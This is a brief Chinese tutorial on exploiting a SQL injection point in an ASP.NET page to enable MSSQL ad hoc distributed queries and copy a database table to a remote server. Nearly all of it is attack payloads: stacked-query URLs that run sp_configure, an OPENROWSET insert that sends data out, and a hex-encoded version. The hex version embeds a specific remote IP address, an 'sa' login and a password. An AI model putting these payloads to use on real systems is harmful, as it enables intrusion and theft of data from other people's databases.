mssql利用注入点的存储过程远程脱裤

注入点的权限要高,sql server dba的权限,然后开启sql server的远程调用:

      
  1. 1 exec  sp_configure  'show advanced options' , 1
  2. 2 reconfigure
  3. 3 exec  sp_configure  'Ad Hoc Distributed Queries' , 1  
  4. 4 reconfigure

对应的利用过程是:

      
  1. 1 】: http :// localhost / test . aspx ? type = 1 ; exec /*(*/ sp_configure 'show advanced options' , 1
  2. 2 】: http :// localhost / test . aspx ? type = 1 ; reconfigure
  3. 3 】: http :// localhost / test . aspx ? type = 1 ; exec /*(*/ sp_configure 'Ad Hoc Distributed Queries' , 1
  4. 4 】: http :// localhost / test . aspx ? type = 1 ; reconfigure

然后,就可以愉快的远程脱裤了,用这个函数脱裤:

      
  1. insert openrowset ( 'SQLOLEDB ' , 'ip地址 ' ; '数据库用户名' ; '数据库密码' ,远程数据库名. dbo . tmp ) select * from 要拖的数据库的表名

这个转换成hex就是:

      
  1. 0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475

注意,远程的数据库的表的列数和要拖的数据库的表的列数要保持一致,表名可以和要拖的数据库的表名不一样,字段名也可以不一样

然后在注入点执行:

      
  1. http :// localhost / test . aspx ? type = 1 ; exec /*(*/ myexec 0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475